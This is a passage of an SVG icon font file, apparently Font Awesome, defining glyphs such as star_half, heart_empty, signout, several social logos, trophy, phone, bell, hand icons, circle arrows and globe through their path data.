h288q22 0 138 40q128 44 223 66t200 22h112q140 0 226.5 -79t85.5 -216v-5q60 -77 60 -178q0 -22 -3 -43q38 -67 38 -144q0 -36 -9 -69q49 -73 49 -163z" />
    <glyph glyph-name="star_half" unicode="&#xf089;" horiz-adv-x="896" 
d="M832 1504v-1339l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41z" />
    <glyph glyph-name="heart_empty" unicode="&#xf08a;" horiz-adv-x="1792" 
d="M1664 940q0 81 -21.5 143t-55 98.5t-81.5 59.5t-94 31t-98 8t-112 -25.5t-110.5 -64t-86.5 -72t-60 -61.5q-18 -22 -49 -22t-49 22q-24 28 -60 61.5t-86.5 72t-110.5 64t-112 25.5t-98 -8t-94 -31t-81.5 -59.5t-55 -98.5t-21.5 -143q0 -168 187 -355l581 -560l580 559
q188 188 188 356zM1792 940q0 -221 -229 -450l-623 -600q-18 -18 -44 -18t-44 18l-624 602q-10 8 -27.5 26t-55.5 65.5t-68 97.5t-53.5 121t-23.5 138q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5
q224 0 351 -124t127 -344z" />
    <glyph glyph-name="signout" unicode="&#xf08b;" horiz-adv-x="1664" 
d="M640 96q0 -4 1 -20t0.5 -26.5t-3 -23.5t-10 -19.5t-20.5 -6.5h-320q-119 0 -203.5 84.5t-84.5 203.5v704q0 119 84.5 203.5t203.5 84.5h320q13 0 22.5 -9.5t9.5 -22.5q0 -4 1 -20t0.5 -26.5t-3 -23.5t-10 -19.5t-20.5 -6.5h-320q-66 0 -113 -47t-47 -113v-704
q0 -66 47 -113t113 -47h288h11h13t11.5 -1t11.5 -3t8 -5.5t7 -9t2 -13.5zM1568 640q0 -26 -19 -45l-544 -544q-19 -19 -45 -19t-45 19t-19 45v288h-448q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h448v288q0 26 19 45t45 19t45 -19l544 -544q19 -19 19 -45z" />
    <glyph glyph-name="linkedin_sign" unicode="&#xf08c;" 
d="M237 122h231v694h-231v-694zM483 1030q-1 52 -36 86t-93 34t-94.5 -34t-36.5 -86q0 -51 35.5 -85.5t92.5 -34.5h1q59 0 95 34.5t36 85.5zM1068 122h231v398q0 154 -73 233t-193 79q-136 0 -209 -117h2v101h-231q3 -66 0 -694h231v388q0 38 7 56q15 35 45 59.5t74 24.5
q116 0 116 -157v-371zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="pushpin" unicode="&#xf08d;" horiz-adv-x="1152" 
d="M480 672v448q0 14 -9 23t-23 9t-23 -9t-9 -23v-448q0 -14 9 -23t23 -9t23 9t9 23zM1152 320q0 -26 -19 -45t-45 -19h-429l-51 -483q-2 -12 -10.5 -20.5t-20.5 -8.5h-1q-27 0 -32 27l-76 485h-404q-26 0 -45 19t-19 45q0 123 78.5 221.5t177.5 98.5v512q-52 0 -90 38
t-38 90t38 90t90 38h640q52 0 90 -38t38 -90t-38 -90t-90 -38v-512q99 0 177.5 -98.5t78.5 -221.5z" />
    <glyph glyph-name="external_link" unicode="&#xf08e;" horiz-adv-x="1792" 
d="M1408 608v-320q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h704q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v320
q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1792 1472v-512q0 -26 -19 -45t-45 -19t-45 19l-176 176l-652 -652q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l652 652l-176 176q-19 19 -19 45t19 45t45 19h512q26 0 45 -19t19 -45z" />
    <glyph glyph-name="signin" unicode="&#xf090;" 
d="M1184 640q0 -26 -19 -45l-544 -544q-19 -19 -45 -19t-45 19t-19 45v288h-448q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h448v288q0 26 19 45t45 19t45 -19l544 -544q19 -19 19 -45zM1536 992v-704q0 -119 -84.5 -203.5t-203.5 -84.5h-320q-13 0 -22.5 9.5t-9.5 22.5
q0 4 -1 20t-0.5 26.5t3 23.5t10 19.5t20.5 6.5h320q66 0 113 47t47 113v704q0 66 -47 113t-113 47h-288h-11h-13t-11.5 1t-11.5 3t-8 5.5t-7 9t-2 13.5q0 4 -1 20t-0.5 26.5t3 23.5t10 19.5t20.5 6.5h320q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="trophy" unicode="&#xf091;" horiz-adv-x="1664" 
d="M458 653q-74 162 -74 371h-256v-96q0 -78 94.5 -162t235.5 -113zM1536 928v96h-256q0 -209 -74 -371q141 29 235.5 113t94.5 162zM1664 1056v-128q0 -71 -41.5 -143t-112 -130t-173 -97.5t-215.5 -44.5q-42 -54 -95 -95q-38 -34 -52.5 -72.5t-14.5 -89.5q0 -54 30.5 -91
t97.5 -37q75 0 133.5 -45.5t58.5 -114.5v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v64q0 69 58.5 114.5t133.5 45.5q67 0 97.5 37t30.5 91q0 51 -14.5 89.5t-52.5 72.5q-53 41 -95 95q-113 5 -215.5 44.5t-173 97.5t-112 130t-41.5 143v128q0 40 28 68t68 28h288v96
q0 66 47 113t113 47h576q66 0 113 -47t47 -113v-96h288q40 0 68 -28t28 -68z" />
    <glyph glyph-name="github_sign" unicode="&#xf092;" 
d="M519 336q4 6 -3 13q-9 7 -14 2q-4 -6 3 -13q9 -7 14 -2zM491 377q-5 7 -12 4q-6 -4 0 -12q7 -8 12 -5q6 4 0 13zM450 417q2 4 -5 8q-7 2 -8 -2q-3 -5 4 -8q8 -2 9 2zM471 394q2 1 1.5 4.5t-3.5 5.5q-6 7 -10 3t1 -11q6 -6 11 -2zM557 319q2 7 -9 11q-9 3 -13 -4
q-2 -7 9 -11q9 -3 13 4zM599 316q0 8 -12 8q-10 0 -10 -8t11 -8t11 8zM638 323q-2 7 -13 5t-9 -9q2 -8 12 -6t10 10zM1280 640q0 212 -150 362t-362 150t-362 -150t-150 -362q0 -167 98 -300.5t252 -185.5q18 -3 26.5 5t8.5 20q0 52 -1 95q-6 -1 -15.5 -2.5t-35.5 -2t-48 4
t-43.5 20t-29.5 41.5q-23 59 -57 74q-2 1 -4.5 3.5l-8 8t-7 9.5t4 7.5t19.5 3.5q6 0 15 -2t30 -15.5t33 -35.5q16 -28 37.5 -42t43.5 -14t38 3.5t30 9.5q7 47 33 69q-49 6 -86 18.5t-73 39t-55.5 76t-19.5 119.5q0 79 53 137q-24 62 5 136q19 6 54.5 -7.5t60.5 -29.5l26 -16
q58 17 128 17t128 -17q11 7 28.5 18t55.5 26t57 9q29 -74 5 -136q53 -58 53 -137q0 -57 -14 -100.5t-35.5 -70t-53.5 -44.5t-62.5 -26t-68.5 -12q35 -31 35 -95q0 -40 -0.5 -89t-0.5 -51q0 -12 8.5 -20t26.5 -5q154 52 252 185.5t98 300.5zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="upload_alt" unicode="&#xf093;" horiz-adv-x="1664" 
d="M1280 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 288v-320q0 -40 -28 -68t-68 -28h-1472q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h427q21 -56 70.5 -92
t110.5 -36h256q61 0 110.5 36t70.5 92h427q40 0 68 -28t28 -68zM1339 936q-17 -40 -59 -40h-256v-448q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v448h-256q-42 0 -59 40q-17 39 14 69l448 448q18 19 45 19t45 -19l448 -448q31 -30 14 -69z" />
    <glyph glyph-name="lemon" unicode="&#xf094;" 
d="M1407 710q0 44 -7 113.5t-18 96.5q-12 30 -17 44t-9 36.5t-4 48.5q0 23 5 68.5t5 67.5q0 37 -10 55q-4 1 -13 1q-19 0 -58 -4.5t-59 -4.5q-60 0 -176 24t-175 24q-43 0 -94.5 -11.5t-85 -23.5t-89.5 -34q-137 -54 -202 -103q-96 -73 -159.5 -189.5t-88 -236t-24.5 -248.5
q0 -40 12.5 -120t12.5 -121q0 -23 -11 -66.5t-11 -65.5t12 -36.5t34 -14.5q24 0 72.5 11t73.5 11q57 0 169.5 -15.5t169.5 -15.5q181 0 284 36q129 45 235.5 152.5t166 245.5t59.5 275zM1535 712q0 -165 -70 -327.5t-196 -288t-281 -180.5q-124 -44 -326 -44
q-57 0 -170 14.5t-169 14.5q-24 0 -72.5 -14.5t-73.5 -14.5q-73 0 -123.5 55.5t-50.5 128.5q0 24 11 68t11 67q0 40 -12.5 120.5t-12.5 121.5q0 111 18 217.5t54.5 209.5t100.5 194t150 156q78 59 232 120q194 78 316 78q60 0 175.5 -24t173.5 -24q19 0 57 5t58 5
q81 0 118 -50.5t37 -134.5q0 -23 -5 -68t-5 -68q0 -13 2 -25t3.5 -16.5t7.5 -20.5t8 -20q16 -40 25 -118.5t9 -136.5z" />
    <glyph glyph-name="phone" unicode="&#xf095;" horiz-adv-x="1408" 
d="M1408 296q0 -27 -10 -70.5t-21 -68.5q-21 -50 -122 -106q-94 -51 -186 -51q-27 0 -53 3.5t-57.5 12.5t-47 14.5t-55.5 20.5t-49 18q-98 35 -175 83q-127 79 -264 216t-216 264q-48 77 -83 175q-3 9 -18 49t-20.5 55.5t-14.5 47t-12.5 57.5t-3.5 53q0 92 51 186
q56 101 106 122q25 11 68.5 21t70.5 10q14 0 21 -3q18 -6 53 -76q11 -19 30 -54t35 -63.5t31 -53.5q3 -4 17.5 -25t21.5 -35.5t7 -28.5q0 -20 -28.5 -50t-62 -55t-62 -53t-28.5 -46q0 -9 5 -22.5t8.5 -20.5t14 -24t11.5 -19q76 -137 174 -235t235 -174q2 -1 19 -11.5t24 -14
t20.5 -8.5t22.5 -5q18 0 46 28.5t53 62t55 62t50 28.5q14 0 28.5 -7t35.5 -21.5t25 -17.5q25 -15 53.5 -31t63.5 -35t54 -30q70 -35 76 -53q3 -7 3 -21z" />
    <glyph glyph-name="check_empty" unicode="&#xf096;" horiz-adv-x="1408" 
d="M1120 1280h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v832q0 66 -47 113t-113 47zM1408 1120v-832q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832
q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="bookmark_empty" unicode="&#xf097;" horiz-adv-x="1280" 
d="M1152 1280h-1024v-1242l423 406l89 85l89 -85l423 -406v1242zM1164 1408q23 0 44 -9q33 -13 52.5 -41t19.5 -62v-1289q0 -34 -19.5 -62t-52.5 -41q-19 -8 -44 -8q-48 0 -83 32l-441 424l-441 -424q-36 -33 -83 -33q-23 0 -44 9q-33 13 -52.5 41t-19.5 62v1289
q0 34 19.5 62t52.5 41q21 9 44 9h1048z" />
    <glyph glyph-name="phone_sign" unicode="&#xf098;" 
d="M1280 343q0 11 -2 16t-18 16.5t-40.5 25t-47.5 26.5t-45.5 25t-28.5 15q-5 3 -19 13t-25 15t-21 5q-15 0 -36.5 -20.5t-39.5 -45t-38.5 -45t-33.5 -20.5q-7 0 -16.5 3.5t-15.5 6.5t-17 9.5t-14 8.5q-99 55 -170 126.5t-127 170.5q-2 3 -8.5 14t-9.5 17t-6.5 15.5
t-3.5 16.5q0 13 20.5 33.5t45 38.5t45 39.5t20.5 36.5q0 10 -5 21t-15 25t-13 19q-3 6 -15 28.5t-25 45.5t-26.5 47.5t-25 40.5t-16.5 18t-16 2q-48 0 -101 -22q-46 -21 -80 -94.5t-34 -130.5q0 -16 2.5 -34t5 -30.5t9 -33t10 -29.5t12.5 -33t11 -30q60 -164 216.5 -320.5
t320.5 -216.5q6 -2 30 -11t33 -12.5t29.5 -10t33 -9t30.5 -5t34 -2.5q57 0 130.5 34t94.5 80q22 53 22 101zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z
" />
    <glyph glyph-name="twitter" unicode="&#xf099;" horiz-adv-x="1664" 
d="M1620 1128q-67 -98 -162 -167q1 -14 1 -42q0 -130 -38 -259.5t-115.5 -248.5t-184.5 -210.5t-258 -146t-323 -54.5q-271 0 -496 145q35 -4 78 -4q225 0 401 138q-105 2 -188 64.5t-114 159.5q33 -5 61 -5q43 0 85 11q-112 23 -185.5 111.5t-73.5 205.5v4q68 -38 146 -41
q-66 44 -105 115t-39 154q0 88 44 163q121 -149 294.5 -238.5t371.5 -99.5q-8 38 -8 74q0 134 94.5 228.5t228.5 94.5q140 0 236 -102q109 21 205 78q-37 -115 -142 -178q93 10 186 50z" />
    <glyph glyph-name="facebook" unicode="&#xf09a;" horiz-adv-x="1024" 
d="M959 1524v-264h-157q-86 0 -116 -36t-30 -108v-189h293l-39 -296h-254v-759h-306v759h-255v296h255v218q0 186 104 288.5t277 102.5q147 0 228 -12z" />
    <glyph glyph-name="github" unicode="&#xf09b;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5q0 -251 -146.5 -451.5t-378.5 -277.5q-27 -5 -40 7t-13 30q0 3 0.5 76.5t0.5 134.5q0 97 -52 142q57 6 102.5 18t94 39t81 66.5t53 105t20.5 150.5q0 119 -79 206q37 91 -8 204q-28 9 -81 -11t-92 -44l-38 -24
q-93 26 -192 26t-192 -26q-16 11 -42.5 27t-83.5 38.5t-85 13.5q-45 -113 -8 -204q-79 -87 -79 -206q0 -85 20.5 -150t52.5 -105t80.5 -67t94 -39t102.5 -18q-39 -36 -49 -103q-21 -10 -45 -15t-57 -5t-65.5 21.5t-55.5 62.5q-19 32 -48.5 52t-49.5 24l-20 3q-21 0 -29 -4.5
t-5 -11.5t9 -14t13 -12l7 -5q22 -10 43.5 -38t31.5 -51l10 -23q13 -38 44 -61.5t67 -30t69.5 -7t55.5 3.5l23 4q0 -38 0.5 -88.5t0.5 -54.5q0 -18 -13 -30t-40 -7q-232 77 -378.5 277.5t-146.5 451.5q0 209 103 385.5t279.5 279.5t385.5 103zM291 305q3 7 -7 12
q-10 3 -13 -2q-3 -7 7 -12q9 -6 13 2zM322 271q7 5 -2 16q-10 9 -16 3q-7 -5 2 -16q10 -10 16 -3zM352 226q9 7 0 19q-8 13 -17 6q-9 -5 0 -18t17 -7zM394 184q8 8 -4 19q-12 12 -20 3q-9 -8 4 -19q12 -12 20 -3zM451 159q3 11 -13 16q-15 4 -19 -7t13 -15q15 -6 19 6z
M514 154q0 13 -17 11q-16 0 -16 -11q0 -13 17 -11q16 0 16 11zM572 164q-2 11 -18 9q-16 -3 -14 -15t18 -8t14 14z" />
    <glyph glyph-name="unlock" unicode="&#xf09c;" horiz-adv-x="1664" 
d="M1664 960v-256q0 -26 -19 -45t-45 -19h-64q-26 0 -45 19t-19 45v256q0 106 -75 181t-181 75t-181 -75t-75 -181v-192h96q40 0 68 -28t28 -68v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h672v192q0 185 131.5 316.5t316.5 131.5
t316.5 -131.5t131.5 -316.5z" />
    <glyph glyph-name="credit_card" unicode="&#xf09d;" horiz-adv-x="1920" 
d="M1760 1408q66 0 113 -47t47 -113v-1216q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1600zM160 1280q-13 0 -22.5 -9.5t-9.5 -22.5v-224h1664v224q0 13 -9.5 22.5t-22.5 9.5h-1600zM1760 0q13 0 22.5 9.5t9.5 22.5v608h-1664v-608
q0 -13 9.5 -22.5t22.5 -9.5h1600zM256 128v128h256v-128h-256zM640 128v128h384v-128h-384z" />
    <glyph glyph-name="rss" unicode="&#xf09e;" horiz-adv-x="1408" 
d="M384 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 69q2 -28 -17 -48q-18 -21 -47 -21h-135q-25 0 -43 16.5t-20 41.5q-22 229 -184.5 391.5t-391.5 184.5q-25 2 -41.5 20t-16.5 43v135q0 29 21 47q17 17 43 17h5q160 -13 306 -80.5
t259 -181.5q114 -113 181.5 -259t80.5 -306zM1408 67q2 -27 -18 -47q-18 -20 -46 -20h-143q-26 0 -44.5 17.5t-19.5 42.5q-12 215 -101 408.5t-231.5 336t-336 231.5t-408.5 102q-25 1 -42.5 19.5t-17.5 43.5v143q0 28 20 46q18 18 44 18h3q262 -13 501.5 -120t425.5 -294
q187 -186 294 -425.5t120 -501.5z" />
    <glyph glyph-name="hdd" unicode="&#xf0a0;" 
d="M1040 320q0 -33 -23.5 -56.5t-56.5 -23.5t-56.5 23.5t-23.5 56.5t23.5 56.5t56.5 23.5t56.5 -23.5t23.5 -56.5zM1296 320q0 -33 -23.5 -56.5t-56.5 -23.5t-56.5 23.5t-23.5 56.5t23.5 56.5t56.5 23.5t56.5 -23.5t23.5 -56.5zM1408 160v320q0 13 -9.5 22.5t-22.5 9.5
h-1216q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h1216q13 0 22.5 9.5t9.5 22.5zM178 640h1180l-157 482q-4 13 -16 21.5t-26 8.5h-782q-14 0 -26 -8.5t-16 -21.5zM1536 480v-320q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v320q0 25 16 75
l197 606q17 53 63 86t101 33h782q55 0 101 -33t63 -86l197 -606q16 -50 16 -75z" />
    <glyph glyph-name="bullhorn" unicode="&#xf0a1;" horiz-adv-x="1792" 
d="M1664 896q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5v-384q0 -52 -38 -90t-90 -38q-417 347 -812 380q-58 -19 -91 -66t-31 -100.5t40 -92.5q-20 -33 -23 -65.5t6 -58t33.5 -55t48 -50t61.5 -50.5q-29 -58 -111.5 -83t-168.5 -11.5t-132 55.5q-7 23 -29.5 87.5
t-32 94.5t-23 89t-15 101t3.5 98.5t22 110.5h-122q-66 0 -113 47t-47 113v192q0 66 47 113t113 47h480q435 0 896 384q52 0 90 -38t38 -90v-384zM1536 292v954q-394 -302 -768 -343v-270q377 -42 768 -341z" />
    <glyph glyph-name="bell" unicode="&#xf0a2;" horiz-adv-x="1792" 
d="M912 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM246 128h1300q-266 300 -266 832q0 51 -24 105t-69 103t-121.5 80.5t-169.5 31.5t-169.5 -31.5t-121.5 -80.5t-69 -103t-24 -105q0 -532 -266 -832z
M1728 128q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-181 75t-75 181h-448q-52 0 -90 38t-38 90q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q190 -28 307 -158.5
t117 -282.5q0 -139 19.5 -260t50 -206t74.5 -158.5t85 -119.5t91 -88z" />
    <glyph glyph-name="certificate" unicode="&#xf0a3;" 
d="M1376 640l138 -135q30 -28 20 -70q-12 -41 -52 -51l-188 -48l53 -186q12 -41 -19 -70q-29 -31 -70 -19l-186 53l-48 -188q-10 -40 -51 -52q-12 -2 -19 -2q-31 0 -51 22l-135 138l-135 -138q-28 -30 -70 -20q-41 11 -51 52l-48 188l-186 -53q-41 -12 -70 19q-31 29 -19 70
l53 186l-188 48q-40 10 -52 51q-10 42 20 70l138 135l-138 135q-30 28 -20 70q12 41 52 51l188 48l-53 186q-12 41 19 70q29 31 70 19l186 -53l48 188q10 41 51 51q41 12 70 -19l135 -139l135 139q29 30 70 19q41 -10 51 -51l48 -188l186 53q41 12 70 -19q31 -29 19 -70
l-53 -186l188 -48q40 -10 52 -51q10 -42 -20 -70z" />
    <glyph glyph-name="hand_right" unicode="&#xf0a4;" horiz-adv-x="1792" 
d="M256 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 768q0 51 -39 89.5t-89 38.5h-576q0 20 15 48.5t33 55t33 68t15 84.5q0 67 -44.5 97.5t-115.5 30.5q-24 0 -90 -139q-24 -44 -37 -65q-40 -64 -112 -145q-71 -81 -101 -106
q-69 -57 -140 -57h-32v-640h32q72 0 167 -32t193.5 -64t179.5 -32q189 0 189 167q0 26 -5 56q30 16 47.5 52.5t17.5 73.5t-18 69q53 50 53 119q0 25 -10 55.5t-25 47.5h331q52 0 90 38t38 90zM1792 769q0 -105 -75.5 -181t-180.5 -76h-169q-4 -62 -37 -119q3 -21 3 -43
q0 -101 -60 -178q1 -139 -85 -219.5t-227 -80.5q-133 0 -322 69q-164 59 -223 59h-288q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5h288q10 0 21.5 4.5t23.5 14t22.5 18t24 22.5t20.5 21.5t19 21.5t14 17q65 74 100 129q13 21 33 62t37 72t40.5 63t55 49.5
t69.5 17.5q125 0 206.5 -67t81.5 -189q0 -68 -22 -128h374q104 0 180 -76t76 -179z" />
    <glyph glyph-name="hand_left" unicode="&#xf0a5;" horiz-adv-x="1792" 
d="M1376 128h32v640h-32q-35 0 -67.5 12t-62.5 37t-50 46t-49 54q-8 9 -12 14q-72 81 -112 145q-14 22 -38 68q-1 3 -10.5 22.5t-18.5 36t-20 35.5t-21.5 30.5t-18.5 11.5q-71 0 -115.5 -30.5t-44.5 -97.5q0 -43 15 -84.5t33 -68t33 -55t15 -48.5h-576q-50 0 -89 -38.5
t-39 -89.5q0 -52 38 -90t90 -38h331q-15 -17 -25 -47.5t-10 -55.5q0 -69 53 -119q-18 -32 -18 -69t17.5 -73.5t47.5 -52.5q-4 -24 -4 -56q0 -85 48.5 -126t135.5 -41q84 0 183 32t194 64t167 32zM1664 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45z
M1792 768v-640q0 -53 -37.5 -90.5t-90.5 -37.5h-288q-59 0 -223 -59q-190 -69 -317 -69q-142 0 -230 77.5t-87 217.5l1 5q-61 76 -61 178q0 22 3 43q-33 57 -37 119h-169q-105 0 -180.5 76t-75.5 181q0 103 76 179t180 76h374q-22 60 -22 128q0 122 81.5 189t206.5 67
q38 0 69.5 -17.5t55 -49.5t40.5 -63t37 -72t33 -62q35 -55 100 -129q2 -3 14 -17t19 -21.5t20.5 -21.5t24 -22.5t22.5 -18t23.5 -14t21.5 -4.5h288q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="hand_up" unicode="&#xf0a6;" 
d="M1280 -64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 700q0 189 -167 189q-26 0 -56 -5q-16 30 -52.5 47.5t-73.5 17.5t-69 -18q-50 53 -119 53q-25 0 -55.5 -10t-47.5 -25v331q0 52 -38 90t-90 38q-51 0 -89.5 -39t-38.5 -89v-576
q-20 0 -48.5 15t-55 33t-68 33t-84.5 15q-67 0 -97.5 -44.5t-30.5 -115.5q0 -24 139 -90q44 -24 65 -37q64 -40 145 -112q81 -71 106 -101q57 -69 57 -140v-32h640v32q0 72 32 167t64 193.5t32 179.5zM1536 705q0 -133 -69 -322q-59 -164 -59 -223v-288q0 -53 -37.5 -90.5
t-90.5 -37.5h-640q-53 0 -90.5 37.5t-37.5 90.5v288q0 10 -4.5 21.5t-14 23.5t-18 22.5t-22.5 24t-21.5 20.5t-21.5 19t-17 14q-74 65 -129 100q-21 13 -62 33t-72 37t-63 40.5t-49.5 55t-17.5 69.5q0 125 67 206.5t189 81.5q68 0 128 -22v374q0 104 76 180t179 76
q105 0 181 -75.5t76 -180.5v-169q62 -4 119 -37q21 3 43 3q101 0 178 -60q139 1 219.5 -85t80.5 -227z" />
    <glyph glyph-name="hand_down" unicode="&#xf0a7;" 
d="M1408 576q0 84 -32 183t-64 194t-32 167v32h-640v-32q0 -35 -12 -67.5t-37 -62.5t-46 -50t-54 -49q-9 -8 -14 -12q-81 -72 -145 -112q-22 -14 -68 -38q-3 -1 -22.5 -10.5t-36 -18.5t-35.5 -20t-30.5 -21.5t-11.5 -18.5q0 -71 30.5 -115.5t97.5 -44.5q43 0 84.5 15t68 33
t55 33t48.5 15v-576q0 -50 38.5 -89t89.5 -39q52 0 90 38t38 90v331q46 -35 103 -35q69 0 119 53q32 -18 69 -18t73.5 17.5t52.5 47.5q24 -4 56 -4q85 0 126 48.5t41 135.5zM1280 1344q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 580
q0 -142 -77.5 -230t-217.5 -87l-5 1q-76 -61 -178 -61q-22 0 -43 3q-54 -30 -119 -37v-169q0 -105 -76 -180.5t-181 -75.5q-103 0 -179 76t-76 180v374q-54 -22 -128 -22q-121 0 -188.5 81.5t-67.5 206.5q0 38 17.5 69.5t49.5 55t63 40.5t72 37t62 33q55 35 129 100
q3 2 17 14t21.5 19t21.5 20.5t22.5 24t18 22.5t14 23.5t4.5 21.5v288q0 53 37.5 90.5t90.5 37.5h640q53 0 90.5 -37.5t37.5 -90.5v-288q0 -59 59 -223q69 -190 69 -317z" />
    <glyph glyph-name="circle_arrow_left" unicode="&#xf0a8;" 
d="M1280 576v128q0 26 -19 45t-45 19h-502l189 189q19 19 19 45t-19 45l-91 91q-18 18 -45 18t-45 -18l-362 -362l-91 -91q-18 -18 -18 -45t18 -45l91 -91l362 -362q18 -18 45 -18t45 18l91 91q18 18 18 45t-18 45l-189 189h502q26 0 45 19t19 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="circle_arrow_right" unicode="&#xf0a9;" 
d="M1285 640q0 27 -18 45l-91 91l-362 362q-18 18 -45 18t-45 -18l-91 -91q-18 -18 -18 -45t18 -45l189 -189h-502q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h502l-189 -189q-19 -19 -19 -45t19 -45l91 -91q18 -18 45 -18t45 18l362 362l91 91q18 18 18 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="circle_arrow_up" unicode="&#xf0aa;" 
d="M1284 641q0 27 -18 45l-362 362l-91 91q-18 18 -45 18t-45 -18l-91 -91l-362 -362q-18 -18 -18 -45t18 -45l91 -91q18 -18 45 -18t45 18l189 189v-502q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v502l189 -189q19 -19 45 -19t45 19l91 91q18 18 18 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="circle_arrow_down" unicode="&#xf0ab;" 
d="M1284 639q0 27 -18 45l-91 91q-18 18 -45 18t-45 -18l-189 -189v502q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-502l-189 189q-19 19 -45 19t-45 -19l-91 -91q-18 -18 -18 -45t18 -45l362 -362l91 -91q18 -18 45 -18t45 18l91 91l362 362q18 18 18 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="globe" unicode="&#xf0ac;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM1042 887q-2 -1 -9.5 -9.5t-13.5 -9.5q2 0 4.5 5t5 11t3.5 7q6 7 22 15q14 6 52 12q34 8 51 -11
q-2 2 9.5 13t14.5 12q3 2 15 4.5t15 7.5l2 22q-12 -1 -17.5 7t-6.5 21q0 -2 -6 -8q0 7 -4.5 8t-11.5 -1t-9 -1q-10 3 -15 7.5t-8 16.5t-4 15q-2 5 -9.5 11t-9.5 10q-1 2 -2.5 5.5t-3 6.5t-4 5.5t-5.5 2.5t-7 -5t-7.5 -10t-4.5 -5q-3 2 -6 1.5t-4.5 -1t-4.5 -3t-5 -3.5
q-3 -2 -8.5 -3t-8.5 -2q15 5 -1 11q-10 4 -16 3q9 4 7.5 12t-8.5 14h5q-1 4 -8.5 8.5t-17.5 8.5t-13 6q-8 5 -34 9.5t-33 0.5q-5 -6 -4.5 -10.5t4 -14t3.5 -12.5q1 -6 -5.5 -13t-6.5 -12q0 -7 14 -15.5t10 -21.5q-3 -8 -16 -16t-16 -12q-5 -8 -1.5 -18.5t10.5 -16.5
